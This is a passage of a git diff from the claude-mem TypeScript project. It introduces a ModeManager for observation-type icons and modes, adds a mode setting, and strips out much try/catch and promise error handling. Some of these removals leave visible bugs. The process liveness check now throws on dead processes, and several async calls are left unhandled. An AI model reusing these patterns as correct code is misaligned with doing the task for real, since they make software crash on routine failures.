SettingsDefaultsManager.loadFromFile(USER_SETTINGS_PATH); + const modeId = settings.CLAUDE_MEM_MODE; + ModeManager.getInstance().loadMode(modeId); + logger.info('SYSTEM', `Mode loaded: ${modeId}`); + // Initialize database (once, stays open) await this.dbManager.initialize(); @@ -538,12 +529,8 @@ export class WorkerService { // STEP 4: Close MCP client connection (signals child to exit gracefully) if (this.mcpClient) { - try { - await this.mcpClient.close(); - logger.info('SYSTEM', 'MCP client closed'); - } catch (error) { - logger.error('SYSTEM', 'Failed to close MCP client', {}, error as Error); - } + await this.mcpClient.close(); + logger.info('SYSTEM', 'MCP client closed'); } // STEP 5: Close database connection (includes ChromaSync cleanup) @@ -576,18 +563,13 @@ export class WorkerService { return []; } - try { - const cmd = `powershell -Command "Get-CimInstance Win32_Process | Where-Object { $_.ParentProcessId -eq ${parentPid} } | Select-Object -ExpandProperty ProcessId"`; - const { stdout } = await execAsync(cmd, { timeout: 5000 }); - return stdout - .trim() - .split('\n') - .map(s => parseInt(s.trim(), 10)) - .filter(n => !isNaN(n) && Number.isInteger(n) && n > 0); // SECURITY: Validate each PID - } catch (error) { - logger.warn('SYSTEM', 'Failed to enumerate child processes', {}, error as Error); - return []; - } + const cmd = `powershell -Command "Get-CimInstance Win32_Process | Where-Object { $_.ParentProcessId -eq ${parentPid} } | Select-Object -ExpandProperty ProcessId"`; + const { stdout } = await execAsync(cmd, { timeout: 5000 }); + return stdout + .trim() + .split('\n') + .map(s => parseInt(s.trim(), 10)) + .filter(n => !isNaN(n) && Number.isInteger(n) && n > 0); // SECURITY: Validate each PID } /** @@ -600,17 +582,12 @@ export class WorkerService { return; } - try { - if (process.platform === 'win32') { - // /T kills entire process tree, /F forces termination - await execAsync(`taskkill /PID ${pid} /T /F`, { timeout: 5000 }); - logger.info('SYSTEM', 'Killed process', { pid }); - } else { - process.kill(pid, 'SIGKILL'); - } - } catch (error) { - // Process may already be dead, which is fine - logger.debug('SYSTEM', 'Process already dead or kill failed', { pid }); + if (process.platform === 'win32') { + // /T kills entire process tree, /F forces termination + await execAsync(`taskkill /PID ${pid} /T /F`, { timeout: 5000 }); + logger.info('SYSTEM', 'Killed process', { pid }); + } else { + process.kill(pid, 'SIGKILL'); } } @@ -622,12 +599,8 @@ export class WorkerService { while (Date.now() - start < timeoutMs) { const stillAlive = pids.filter(pid => { - try { - process.kill(pid, 0); // Signal 0 checks if process exists - return true; - } catch { - return false; - } + process.kill(pid, 0); // Signal 0 checks if process exists - throws if dead + return true; }); if (stillAlive.length === 0) { diff --git a/src/services/worker/DatabaseManager.ts b/src/services/worker/DatabaseManager.ts index 9f191824..323ff4e9 100644 --- a/src/services/worker/DatabaseManager.ts +++ b/src/services/worker/DatabaseManager.ts @@ -30,10 +30,8 @@ export class DatabaseManager { // Initialize ChromaSync this.chromaSync = new ChromaSync('claude-mem'); - // Start background backfill (fire-and-forget, with error logging) - this.chromaSync.ensureBackfilled().catch((error) => { - logger.error('DB', 'Chroma backfill failed (non-fatal)', {}, error); - }); + // Start background backfill (fire-and-forget) + this.chromaSync.ensureBackfilled(); logger.info('DB', 'Database initialized'); } @@ -44,14 +42,10 @@ export class DatabaseManager { async close(): Promise { // Close ChromaSync first (terminates uvx/python processes) if (this.chromaSync) { - try { - await this.chromaSync.close(); - this.chromaSync = null; - } catch (error) { - logger.error('DB', 'Failed to close ChromaSync', {}, error as Error); - } + await this.chromaSync.close(); + this.chromaSync = null; } - + if (this.sessionStore) { this.sessionStore.close(); this.sessionStore = null; diff --git a/src/services/worker/FormattingService.ts b/src/services/worker/FormattingService.ts index aaa75e4d..ea19f350 100644 --- a/src/services/worker/FormattingService.ts +++ b/src/services/worker/FormattingService.ts @@ -4,7 +4,7 @@ */ import { ObservationSearchResult, SessionSummarySearchResult, UserPromptSearchResult } from '../sqlite/types.js'; -import { TYPE_ICON_MAP, TYPE_WORK_EMOJI_MAP } from '../../constants/observation-metadata.js'; +import { ModeManager } from '../domain/ModeManager.js'; // Token estimation constant (matches context-generator) const CHARS_PER_TOKEN_ESTIMATE = 4; @@ -55,10 +55,10 @@ Tips: formatObservationIndex(obs: ObservationSearchResult, _index: number): string { const id = `#${obs.id}`; const time = this.formatTime(obs.created_at_epoch); - const icon = TYPE_ICON_MAP[obs.type as keyof typeof TYPE_ICON_MAP] || '•'; + const icon = ModeManager.getInstance().getTypeIcon(obs.type); const title = obs.title || 'Untitled'; const readTokens = this.estimateReadTokens(obs); - const workEmoji = TYPE_WORK_EMOJI_MAP[obs.type as keyof typeof TYPE_WORK_EMOJI_MAP] || '🔍'; + const workEmoji = ModeManager.getInstance().getWorkEmoji(obs.type); const workTokens = obs.discovery_tokens || 0; const workDisplay = workTokens > 0 ? `${workEmoji} ${workTokens}` : '-'; @@ -116,7 +116,7 @@ Tips: formatObservationSearchRow(obs: ObservationSearchResult, lastTime: string): { row: string; time: string } { const id = `#${obs.id}`; const time = this.formatTime(obs.created_at_epoch); - const icon = TYPE_ICON_MAP[obs.type as keyof typeof TYPE_ICON_MAP] || '•'; + const icon = ModeManager.getInstance().getTypeIcon(obs.type); const title = obs.title || 'Untitled'; const readTokens = this.estimateReadTokens(obs); diff --git a/src/services/worker/README.md b/src/services/worker/README.md index bf6811f4..d886b84e 100644 --- a/src/services/worker/README.md +++ b/src/services/worker/README.md @@ -10,7 +10,7 @@ The Worker Service is an Express HTTP server that handles all claude-mem operati Hook (plugin/scripts/*-hook.js) → HTTP Request to Worker (localhost:37777) → Route Handler (http/routes/*.ts) - → MCP Server Tool (for search) OR Domain Service (for session/data) + → MCP Server Tool (for search) OR Service Layer (for session/data) → Database (SQLite3 + Chroma vector DB) ``` @@ -22,13 +22,13 @@ src/services/worker/ ├── WorkerService.ts # Slim orchestrator (~150 lines) ├── http/ # HTTP layer │ ├── middleware.ts # Shared middleware (logging, CORS, etc.) -│ └── routes/ # Route handlers organized by domain +│ └── routes/ # Route handlers organized by feature area │ ├── SessionRoutes.ts # Session lifecycle (init, observations, summarize, complete) │ ├── DataRoutes.ts # Data retrieval (get observations, summaries, prompts, stats) │ ├── SearchRoutes.ts # Search/MCP proxy (all search endpoints) │ ├── SettingsRoutes.ts # Settings, MCP toggle, branch switching │ └── ViewerRoutes.ts # Health check, viewer UI, SSE stream -└── domain/ # Business logic (existing services, NO CHANGES in Phase 1) +└── services/ # Business logic services (existing, NO CHANGES in Phase 1) ├── DatabaseManager.ts # SQLite connection management ├── SessionManager.ts # Session state tracking ├── SDKAgent.ts # Claude Agent SDK for observations/summaries @@ -46,7 +46,7 @@ src/services/worker/ - `GET /stream` - SSE stream for real-time updates ### SessionRoutes.ts -Session lifecycle operations (use domain services directly): +Session lifecycle operations (use service layer directly): - `POST /sessions/init` - Initialize new session - `POST /sessions/:sessionId/observations` - Add tool usage observations - `POST /sessions/:sessionId/summarize` - Trigger session summary @@ -58,7 +58,7 @@ Session lifecycle operations (use domain services directly): - `POST /sessions/claude-id/:claudeId/complete` - Complete by claude_id ### DataRoutes.ts -Data retrieval operations (use domain services directly): +Data retrieval operations (use service layer directly): - `GET /observations` - List observations (paginated) - `GET /summaries` - List session summaries (paginated) - `GET /prompts` - List user prompts (paginated) @@ -91,7 +91,7 @@ All search operations (proxy to MCP server): - `GET /search/help` - Search help ### SettingsRoutes.ts -Settings and configuration (use domain services directly): +Settings and configuration (use service layer directly): - `GET /settings` - Get user settings - `POST /settings` - Update user settings - `GET /mcp/status` - Get MCP server status @@ -109,14 +109,14 @@ Settings and configuration (use domain services directly): **MCP vs Direct DB Split** (inherited, not changed in Phase 1): - Search operations → MCP server (mem-search) -- Session/data operations → Direct DB access via domain services +- Session/data operations → Direct DB access via service layer ## Future Phase 2 Phase 2 will unify the architecture: 1. Expand MCP server to handle ALL operations (not just search) 2. Convert all route handlers to proxy through MCP -3. Move database logic from domain services into MCP tools +3. Move database logic from service layer into MCP tools 4. Result: Worker becomes pure HTTP → MCP proxy for maximum portability This separation allows the worker to be deployed anywhere (as a CLI tool, cloud service, etc.) without carrying database dependencies. @@ -126,7 +126,7 @@ This separation allows the worker to be deployed anywhere (as a CLI tool, cloud 1. Choose the appropriate route file based on the endpoint's purpose 2. Add the route handler method to the class 3. Register the route in the `setupRoutes()` method -4. Import any needed domain services in the constructor +4. Import any needed services in the constructor 5. Follow the existing patterns for error handling and logging Example: @@ -149,7 +149,7 @@ app.get('/foo', this.handleGetFoo.bind(this)); ## Key Design Principles 1. **Progressive Disclosure**: Navigate from high-level (WorkerService.ts) to specific routes to implementation details -2. **Single Responsibility**: Each route class handles one domain area +2. **Single Responsibility**: Each route class handles one feature area 3. **Dependency Injection**: Route classes receive only the services they need 4. **Consistent Error Handling**: All handlers use try/catch with logger.failure() 5. **Bound Methods**: All route handlers use `.bind(this)` to preserve context diff --git a/src/services/worker/SDKAgent.ts b/src/services/worker/SDKAgent.ts index ee686530..cbe4f9f2 100644 --- a/src/services/worker/SDKAgent.ts +++ b/src/services/worker/SDKAgent.ts @@ -19,6 +19,7 @@ import { buildInitPrompt, buildObservationPrompt, buildSummaryPrompt, buildConti import { SettingsDefaultsManager } from '../../shared/SettingsDefaultsManager.js'; import { USER_SETTINGS_PATH } from '../../shared/paths.js'; import type { ActiveSession, SDKUserMessage, PendingMessage } from '../worker-types.js'; +import { ModeManager } from '../domain/ModeManager.js'; // Import Agent SDK (assumes it's installed) // @ts-ignore - Agent SDK types may not be available @@ -185,6 +186,9 @@ export class SDKAgent { * - We just use the session_id we're given - simple and reliable */ private async *createMessageGenerator(session: ActiveSession): AsyncIterableIterator { + // Load active mode + const mode = ModeManager.getInstance().getActiveMode(); + // Yield initial user prompt with context (or continuation if prompt #2+) // CRITICAL: Both paths use session.claudeSessionId from the hook yield { @@ -192,8 +196,8 @@ export class SDKAgent { message: { role: 'user', content: session.lastPromptNumber === 1 - ? buildInitPrompt(session.project, session.claudeSessionId, session.userPrompt) - : buildContinuationPrompt(session.userPrompt, session.lastPromptNumber, session.claudeSessionId) + ? buildInitPrompt(session.project, session.claudeSessionId, session.userPrompt, mode) + : buildContinuationPrompt(session.userPrompt, session.lastPromptNumber, session.claudeSessionId, mode) }, session_id: session.claudeSessionId, parent_tool_use_id: null, @@ -237,7 +241,7 @@ export class SDKAgent { user_prompt: session.userPrompt, last_user_message: message.last_user_message || '', last_assistant_message: message.last_assistant_message || '' - }) + }, mode) }, session_id: session.claudeSessionId, parent_tool_use_id: null, @@ -276,7 +280,7 @@ export class SDKAgent { concepts: obs.concepts?.length ?? 0 }); - // Sync to Chroma with error logging + // Sync to Chroma const chromaStart = Date.now(); const obsType = obs.type; const obsTitle = obs.title || '(untitled)'; @@ -296,13 +300,6 @@ export class SDKAgent { type: obsType, title: obsTitle }); - }).catch(err => { - logger.error('CHROMA', 'Failed to sync observation', { - obsId, - sessionId: session.sessionDbId, - type: obsType, - title: obsTitle - }, err); }); // Broadcast to SSE clients (for web UI) @@ -352,7 +349,7 @@ export class SDKAgent { hasNextSteps: !!summary.next_steps }); - // Sync to Chroma with error logging + // Sync to Chroma const chromaStart = Date.now(); const summaryRequest = summary.request || '(no request)'; this.dbManager.getChromaSync().syncSummary( @@ -370,12 +367,6 @@ export class SDKAgent { duration: `${chromaDuration}ms`, request: summaryRequest }); - }).catch(err => { - logger.error('CHROMA', 'Failed to sync summary', { - summaryId, - sessionId: session.sessionDbId, - request: summaryRequest - }, err); }); // Broadcast to SSE clients (for web UI) diff --git a/src/services/worker/SSEBroadcaster.ts b/src/services/worker/SSEBroadcaster.ts index 560ac0ef..da2cb4bf 100644 --- a/src/services/worker/SSEBroadcaster.ts +++ b/src/services/worker/SSEBroadcaster.ts @@ -53,15 +53,9 @@ export class SSEBroadcaster { logger.debug('WORKER', 'SSE broadcast sent', { eventType: event.type, clients: this.sseClients.size }); - // Single-pass write + cleanup + // Single-pass write for (const client of this.sseClients) { - try { - client.write(data); - } catch (err) { - // Remove failed client immediately - this.sseClients.delete(client); - logger.debug('WORKER', 'Client removed due to write error'); - } + client.write(data); } } @@ -77,10 +71,6 @@ export class SSEBroadcaster { */ private sendToClient(res: Response, event: SSEEvent): void { const data = `data: ${JSON.stringify(event)}\n\n`; - try { - res.write(data); - } catch (err) { - this.sseClients.delete(res); - } + res.write(data); } } diff --git a/src/services/worker/SearchManager.ts b/src/services/worker/SearchManager.ts index 0d43e2dd..a739797b 100644 --- a/src/services/worker/SearchManager.ts +++ b/src/services/worker/SearchManager.ts @@ -15,6 +15,7 @@ import { TimelineService, TimelineItem } from './TimelineService.js'; import { ObservationSearchResult, SessionSummarySearchResult, UserPromptSearchResult } from '../sqlite/types.js'; import { logger } from '../../utils/logger.js'; import { formatDate, formatTime, formatDateTime, extractFirstFile, groupByDate, estimateTokens } from '../../shared/timeline-formatting.js'; +import { ModeManager } from '../domain/ModeManager.js'; const COLLECTION_NAME = 'cm__claude-mem'; const RECENCY_WINDOW_DAYS = 90; @@ -590,15 +591,7 @@ export class SearchManager { lastTime = ''; } - let icon = '•'; - switch (obs.type) { - case 'bugfix': icon = '🔴'; break; - case 'feature': icon = '🟣'; break; - case 'refactor': icon = '🔄'; break; - case 'change': icon = '✅'; break; - case 'discovery': icon = '🔵'; break; - case 'decision': icon = '🧠'; break; - } + const icon = ModeManager.getInstance().getTypeIcon(obs.type); const time = formatTime(item.epoch); const title = obs.title || 'Untitled'; @@ -1675,15 +1668,7 @@ export class SearchManager { } // Map observation type to emoji - let icon = '•'; - switch (obs.type) { - case 'bugfix': icon = '🔴'; break; - case 'feature': icon = '🟣'; break; - case 'refactor': icon = '🔄'; break; - case 'change': icon = '✅'; break; - case 'discovery': icon = '🔵'; break; - case 'decision': icon = '🧠'; break; - } + const icon = ModeManager.getInstance().getTypeIcon(obs.type); const time = formatTime(item.epoch); const title = obs.title || 'Untitled'; @@ -1927,15 +1912,7 @@ export class SearchManager { } // Map observation type to emoji - let icon = '•'; - switch (obs.type) { - case 'bugfix': icon = '🔴'; break; - case 'feature': icon = '🟣'; break; - case 'refactor': icon = '🔄'; break; - case 'change': icon = '✅'; break; - case 'discovery': icon = '🔵'; break; - case 'decision': icon = '🧠'; break; - } + const icon = ModeManager.getInstance().getTypeIcon(obs.type); const time = formatTime(item.epoch); const title = obs.title || 'Untitled'; diff --git a/src/services/worker/TimelineService.ts b/src/services/worker/TimelineService.ts index 08c062e5..c32984a1 100644 --- a/src/services/worker/TimelineService.ts +++ b/src/services/worker/TimelineService.ts @@ -4,6 +4,7 @@ */ import { ObservationSearchResult, SessionSummarySearchResult, UserPromptSearchResult } from '../sqlite/types.js'; +import { ModeManager } from '../domain/ModeManager.js'; /** * Timeline item for unified chronological display @@ -210,15 +211,7 @@ export class TimelineService { * Get icon for observation type */ private getTypeIcon(type: string): string { - switch (type) { - case 'bugfix': return '🔴'; - case 'feature': return '🟣'; - case 'refactor': return '🔄'; - case 'change': return '✅'; - case 'discovery': return '🔵'; - case 'decision': return '🧠'; - default: return '•'; - } + return ModeManager.getInstance().getTypeIcon(type); } /** diff --git a/src/services/worker/http/routes/DataRoutes.ts b/src/services/worker/http/routes/DataRoutes.ts index 87587adc..520f3398 100644 --- a/src/services/worker/http/routes/DataRoutes.ts +++ b/src/services/worker/http/routes/DataRoutes.ts @@ -2,7 +2,7 @@ * Data Routes * * Handles data retrieval operations: observations, summaries, prompts, stats, processing status. - * All endpoints use direct database access via domain services. + * All endpoints use direct database access via service layer. */ import express, { Request, Response } from 'express'; diff --git a/src/services/worker/http/routes/SessionRoutes.ts b/src/services/worker/http/routes/SessionRoutes.ts index cf12b8af..a910e1d4 100644 --- a/src/services/worker/http/routes/SessionRoutes.ts +++ b/src/services/worker/http/routes/SessionRoutes.ts @@ -51,9 +51,6 @@ export class SessionRoutes extends BaseRouteHandler { }); session.generatorPromise = this.sdkAgent.startSession(session, this.workerService) - .catch(err => { - logger.failure('SDK', 'SDK agent error', { sessionId: sessionDbId }, err); - }) .finally(() => { logger.info('SESSION', `Generator finished`, { sessionId: sessionDbId }); session.generatorPromise = null; @@ -102,7 +99,7 @@ export class SessionRoutes extends BaseRouteHandler { created_at_epoch: latestPrompt.created_at_epoch }); - // Sync user prompt to Chroma with error logging + // Sync user prompt to Chroma const chromaStart = Date.now(); const promptText = latestPrompt.prompt_text; this.dbManager.getChromaSync().syncUserPrompt( @@ -122,11 +119,6 @@ export class SessionRoutes extends BaseRouteHandler { duration: `${chromaDuration}ms`, prompt: truncatedPrompt }); - }).catch(err => { - logger.error('CHROMA', 'Failed to sync user_prompt', { - promptId: latestPrompt.id, - sessionId: sessionDbId - }, err); }); } @@ -138,9 +130,6 @@ export class SessionRoutes extends BaseRouteHandler { }); session.generatorPromise = this.sdkAgent.startSession(session, this.workerService) - .catch(err => { - logger.failure('SDK', 'SDK agent error', { sessionId: sessionDbId }, err); - }) .finally(() => { // Clear generator reference when completed logger.info('SESSION', `Generator finished`, { sessionId: sessionDbId }); @@ -309,26 +298,13 @@ export class SessionRoutes extends BaseRouteHandler { } // Strip memory tags from tool_input and tool_response - let cleanedToolInput = '{}'; - let cleanedToolResponse = '{}'; + const cleanedToolInput = tool_input !== undefined + ? stripMemoryTagsFromJson(JSON.stringify(tool_input)) + : '{}'; - try { - cleanedToolInput = tool_input !== undefined - ? stripMemoryTagsFromJson(JSON.stringify(tool_input)) - : '{}'; - } catch (error) { - logger.debug('SESSION', 'Failed to serialize tool_input', { sessionDbId }, error); - cleanedToolInput = '{"error": "Failed to serialize tool_input"}'; - } - - try { - cleanedToolResponse = tool_response !== undefined - ? stripMemoryTagsFromJson(JSON.stringify(tool_response)) - : '{}'; - } catch (error) { - logger.debug('SESSION', 'Failed to serialize tool_result', { sessionDbId }, error); - cleanedToolResponse = '{"error": "Failed to serialize tool_response"}'; - } + const cleanedToolResponse = tool_response !== undefined + ? stripMemoryTagsFromJson(JSON.stringify(tool_response)) + : '{}'; // Queue observation this.sessionManager.queueObservation(sessionDbId, { diff --git a/src/services/worker/http/routes/SettingsRoutes.ts b/src/services/worker/http/routes/SettingsRoutes.ts index f0488956..43b2e945 100644 --- a/src/services/worker/http/routes/SettingsRoutes.ts +++ b/src/services/worker/http/routes/SettingsRoutes.ts @@ -13,12 +13,7 @@ import { getPackageRoot } from '../../../../shared/paths.js'; import { logger } from '../../../../utils/logger.js'; import { SettingsManager } from '../../SettingsManager.js'; import { getBranchInfo, switchBranch, pullUpdates } from '../../BranchManager.js'; -import { - OBSERVATION_TYPES, - OBSERVATION_CONCEPTS, - ObservationType, - ObservationConcept -} from '../../../../constants/observation-metadata.js'; +import { ModeManager } from '../../domain/ModeManager.js'; import { BaseRouteHandler } from '../BaseRouteHandler.js'; import { SettingsDefaultsManager } from '../../../../shared/SettingsDefaultsManager.js'; import { clearPortCache } from '../../../../shared/worker-utils.js'; @@ -296,25 +291,11 @@ export class SettingsRoutes extends BaseRouteHandler { } } - // Validate observation types - if (settings.CLAUDE_MEM_CONTEXT_OBSERVATION_TYPES) { - const types = settings.CLAUDE_MEM_CONTEXT_OBSERVATION_TYPES.split(',').map((t: string) => t.trim()); - for (const type of types) { - if (type && !OBSERVATION_TYPES.includes(type as ObservationType)) { - return { valid: false, error: `Invalid observation type: ${type}. Valid types: ${OBSERVATION_TYPES.join(', ')}` }; - } - } - } + // Skip observation types validation - any type string is valid since modes define their own types + // The database accepts any TEXT value, and mode-specific validation happens at parse time - // Validate observation concepts - if (settings.CLAUDE_MEM_CONTEXT_OBSERVATION_CONCEPTS) { - const concepts = settings.CLAUDE_MEM_CONTEXT_OBSERVATION_CONCEPTS.split(',').map((c: string) => c.trim()); - for (const concept of concepts) { - if (concept && !OBSERVATION_CONCEPTS.includes(concept as ObservationConcept)) { - return { valid: false, error: `Invalid observation concept: ${concept}. Valid concepts: ${OBSERVATION_CONCEPTS.join(', ')}` }; - } - } - } + // Skip observation concepts validation - any concept string is valid since modes define their own concepts + // The database accepts any TEXT value, and mode-specific validation happens at parse time return { valid: true }; } @@ -332,25 +313,20 @@ export class SettingsRoutes extends BaseRouteHandler { * Toggle MCP search server (rename .mcp.json <-> .mcp.json.disabled) */ private toggleMcp(enabled: boolean): void { - try { - const packageRoot = getPackageRoot(); - const mcpPath = path.join(packageRoot, 'plugin', '.mcp.json'); - const mcpDisabledPath = path.join(packageRoot, 'plugin', '.mcp.json.disabled'); + const packageRoot = getPackageRoot(); + const mcpPath = path.join(packageRoot, 'plugin', '.mcp.json'); + const mcpDisabledPath = path.join(packageRoot, 'plugin', '.mcp.json.disabled'); - if (enabled && existsSync(mcpDisabledPath)) { - // Enable: rename .mcp.json.disabled -> .mcp.json - renameSync(mcpDisabledPath, mcpPath); - logger.info('WORKER', 'MCP search server enabled'); - } else if (!enabled && existsSync(mcpPath)) { - // Disable: rename .mcp.json -> .mcp.json.disabled - renameSync(mcpPath, mcpDisabledPath); - logger.info('WORKER', 'MCP search server disabled'); - } else { - logger.debug('WORKER', 'MCP toggle no-op (already in desired state)', { enabled }); - } - } catch (error) { - logger.failure('WORKER', 'Failed to toggle MCP', { enabled }, error as Error); - throw error; + if (enabled && existsSync(mcpDisabledPath)) { + // Enable: rename .mcp.json.disabled -> .mcp.json + renameSync(mcpDisabledPath, mcpPath); + logger.info('WORKER', 'MCP search server enabled'); + } else if (!enabled && existsSync(mcpPath)) { + // Disable: rename .mcp.json -> .mcp.json.disabled + renameSync(mcpPath, mcpDisabledPath); + logger.info('WORKER', 'MCP search server disabled'); + } else { + logger.debug('WORKER', 'MCP toggle no-op (already in desired state)', { enabled }); } } diff --git a/src/services/worker/http/routes/ViewerRoutes.ts b/src/services/worker/http/routes/ViewerRoutes.ts index 2e3aeed0..29a3766f 100644 --- a/src/services/worker/http/routes/ViewerRoutes.ts +++ b/src/services/worker/http/routes/ViewerRoutes.ts @@ -24,6 +24,10 @@ export class ViewerRoutes extends BaseRouteHandler { } setupRoutes(app: express.Application): void { + // Serve static UI assets (JS, CSS, fonts, etc.) + const packageRoot = getPackageRoot(); + app.use(express.static(path.join(packageRoot, 'ui'))); + app.get('/health', this.handleHealth.bind(this)); app.get('/', this.handleViewerUI.bind(this)); app.get('/stream', this.handleSSEStream.bind(this)); diff --git a/src/shared/SettingsDefaultsManager.ts b/src/shared/SettingsDefaultsManager.ts index fcb244ce..dd0ed07c 100644 --- a/src/shared/SettingsDefaultsManager.ts +++ b/src/shared/SettingsDefaultsManager.ts @@ -22,6 +22,7 @@ export interface SettingsDefaults { CLAUDE_MEM_LOG_LEVEL: string; CLAUDE_MEM_PYTHON_VERSION: string; CLAUDE_CODE_PATH: string; + CLAUDE_MEM_MODE: string; // Token Economics CLAUDE_MEM_CONTEXT_SHOW_READ_TOKENS: string; CLAUDE_MEM_CONTEXT_SHOW_WORK_TOKENS: string; @@ -54,6 +55,7 @@ export class SettingsDefaultsManager { CLAUDE_MEM_LOG_LEVEL: 'INFO', CLAUDE_MEM_PYTHON_VERSION: '3.13', CLAUDE_CODE_PATH: '', // Empty means auto-detect via 'which claude' + CLAUDE_MEM_MODE: 'code', // Default mode profile // Token Economics CLAUDE_MEM_CONTEXT_SHOW_READ_TOKENS: 'true', CLAUDE_MEM_CONTEXT_SHOW_WORK_TOKENS: 'true', diff --git a/src/shared/hook-error-handler.ts b/src/shared/hook-error-handler.ts deleted file mode 100644 index 51b6a3d8..00000000 --- a/src/shared/hook-error-handler.ts +++ /dev/null @@ -1,16 +0,0 @@ -import { getWorkerRestartInstructions } from '../utils/error-messages.js'; - -/** - * Handles fetch errors by providing user-friendly messages for connection issues - * @throws Error with helpful message if worker is unreachable, re-throws original otherwise - */ -export function handleWorkerError(error: any): never { - if (error.cause?.code === 'ECONNREFUSED' || - error.code === 'ConnectionRefused' || // Bun-specific error format - error.name === 'TimeoutError' || - error.message?.includes('fetch failed') || - error.message?.includes('Unable to connect')) { - throw new Error(getWorkerRestartInstructions()); - } - throw error; -} diff --git a/src/shared/paths.ts b/src/shared/paths.ts index e20854c3..ba1422cc 100644 --- a/src/shared/paths.ts +++ b/src/shared/paths.ts @@ -32,6 +32,7 @@ export const ARCHIVES_DIR = join(DATA_DIR, 'archives'); export const LOGS_DIR = join(DATA_DIR, 'logs'); export const TRASH_DIR = join(DATA_DIR, 'trash'); export const BACKUPS_DIR = join(DATA_DIR, 'backups'); +export const MODES_DIR = join(DATA_DIR, 'modes'); export const USER_SETTINGS_PATH = join(DATA_DIR, 'settings.json'); export const DB_PATH = join(DATA_DIR, 'claude-mem.db'); export const VECTOR_DB_DIR = join(DATA_DIR, 'vector-db'); @@ -71,6 +72,14 @@ export function ensureAllDataDirs(): void { ensureDir(LOGS_DIR); ensureDir(TRASH_DIR); ensureDir(BACKUPS_DIR); + ensureDir(MODES_DIR); +} + +/** + * Ensure modes directory exists + */ +export function ensureModesDir(): void { + ensureDir(MODES_DIR); } /** @@ -102,10 +111,10 @@ export function getCurrentProjectName(): string { * Find package root directory * * Works because bundled hooks are in plugin/scripts/, - * so package root is always two levels up + * so package root is always one level up (the plugin directory) */ export function getPackageRoot(): string { - return join(_dirname, '..', '..'); + return join(_dirname, '..'); } /** diff --git a/src/shared/transcript-parser.ts b/src/shared/transcript-parser.ts index 477565e9..8a70cca9 100644 --- a/src/shared/transcript-parser.ts +++ b/src/shared/transcript-parser.ts @@ -13,101 +13,52 @@ export function extractLastMessage( stripSystemReminders: boolean = false ): string { if (!transcriptPath || !existsSync(transcriptPath)) { - logger.happyPathError( - 'PARSER', - 'Transcript path missing or file does not exist', - undefined, - { transcriptPath, role }, - '' - ); - return ''; + throw new Error(`Transcript path missing or file does not exist: ${transcriptPath}`); } - try { - const content = readFileSync(transcriptPath, 'utf-8').trim(); - if (!content) { - logger.happyPathError( - 'PARSER', - 'Transcript file exists but is empty', - undefined, - { transcriptPath, role }, - '' - ); - return ''; - } + const content = readFileSync(transcriptPath, 'utf-8').trim(); + if (!content) { + throw new Error(`Transcript file exists but is empty: ${transcriptPath}`); + } - const lines = content.split('\n'); - let foundMatchingRole = false; + const lines = content.split('\n'); + let foundMatchingRole = false; - for (let i = lines.length - 1; i >= 0; i--) { - try { - const line = JSON.parse(lines[i]); - if (line.type === role) { - foundMatchingRole = true; + for (let i = lines.length - 1; i >= 0; i--) { + const line = JSON.parse(lines[i]); + if (line.type === role) { + foundMatchingRole = true; - if (line.message?.content) { - let text = ''; - const msgContent = line.message.content; + if (line.message?.content) { + let text = ''; + const msgContent = line.message.content; - if (typeof msgContent === 'string') { - text = msgContent; - } else if (Array.isArray(msgContent)) { - text = msgContent - .filter((c: any) => c.type === 'text') - .map((c: any) => c.text) - .join('\n'); - } else { - // Unknown content format - log error and skip this message - logger.error( - 'PARSER', - 'Unknown message content format', - { - role, - transcriptPath, - contentType: typeof msgContent, - content: msgContent - }, - new Error('Message content is neither string nor array') - ); - continue; - } - - if (stripSystemReminders) { - text = text.replace(/[\s\S]*?<\/system-reminder>/g, ''); - text = text.replace(/\n{3,}/g, '\n\n').trim(); - } - - // Log if we found the role but the text is empty after processing - if (!text || text.trim() === '') { - logger.happyPathError( - 'PARSER', - 'Found message but content is empty after processing', - undefined, - { role, transcriptPath, msgContentType: typeof msgContent, stripSystemReminders }, - '' - ); - } - - return text; - } + if (typeof msgContent === 'string') { + text = msgContent; + } else if (Array.isArray(msgContent)) { + text = msgContent + .filter((c: any) => c.type === 'text') + .map((c: any) => c.text) + .join('\n'); + } else { + // Unknown content format - throw error + throw new Error(`Unknown message content format in transcript. Type: ${typeof msgContent}`); } - } catch { - continue; + + if (stripSystemReminders) { + text = text.replace(/[\s\S]*?<\/system-reminder>/g, ''); + text = text.replace(/\n{3,}/g, '\n\n').trim(); + } + + // Return text even if empty - caller decides if that's an error + return text; } } + } - // If we searched the whole transcript and didn't find any message of this role - if (!foundMatchingRole) { - logger.happyPathError( - 'PARSER', - 'No message found for role in transcript', - undefined, - { role, transcriptPath, totalLines: lines.length }, - '' - ); - } - } catch (error) { - logger.error('HOOK', 'Failed to read transcript', { transcriptPath }, error as Error); + // If we searched the whole transcript and didn't find any message of this role + if (!foundMatchingRole) { + throw new Error(`No message found for role '${role}' in transcript: ${transcriptPath}`); } return ''; diff --git a/src/shared/worker-utils.ts b/src/shared/worker-utils.ts index 127106e6..ed17da3e 100644 --- a/src/shared/worker-utils.ts +++ b/src/shared/worker-utils.ts @@ -63,55 +63,35 @@ export function clearPortCache(): void { * Changed from /health to /api/readiness to ensure MCP initialization is complete */ async function isWorkerHealthy(): Promise { - try { - const port = getWorkerPort(); - const response = await fetch(`http://127.0.0.1:${port}/api/readiness`, { - signal: AbortSignal.timeout(HEALTH_CHECK_TIMEOUT_MS) - }); - return response.ok; - } catch (error) { - logger.debug('SYSTEM', 'Worker readiness check failed', { - error: error instanceof Error ? error.message : String(error), - errorType: error?.constructor?.name - }); - return false; - } + const port = getWorkerPort(); + const response = await fetch(`http://127.0.0.1:${port}/api/readiness`, { + signal: AbortSignal.timeout(HEALTH_CHECK_TIMEOUT_MS) + }); + return response.ok; } /** * Get the current plugin version from package.json */ -function getPluginVersion(): string | null { - try { - const packageJsonPath = path.join(MARKETPLACE_ROOT, 'package.json'); - const packageJson = JSON.parse(readFileSync(packageJsonPath, 'utf-8')); - return packageJson.version; - } catch (error) { - logger.debug('SYSTEM', 'Failed to read plugin version', { - error: error instanceof Error ? error.message : String(error) - }); - return null; - } +function getPluginVersion(): string { + const packageJsonPath = path.join(MARKETPLACE_ROOT, 'package.json'); + const packageJson = JSON.parse(readFileSync(packageJsonPath, 'utf-8')); + return packageJson.version; } /** * Get the running worker's version from the API */ -async function getWorkerVersion(): Promise { - try { - const port = getWorkerPort(); - const response = await fetch(`http://127.0.0.1:${port}/api/version`, { - signal: AbortSignal.timeout(HEALTH_CHECK_TIMEOUT_MS) - }); - if (!response.ok) 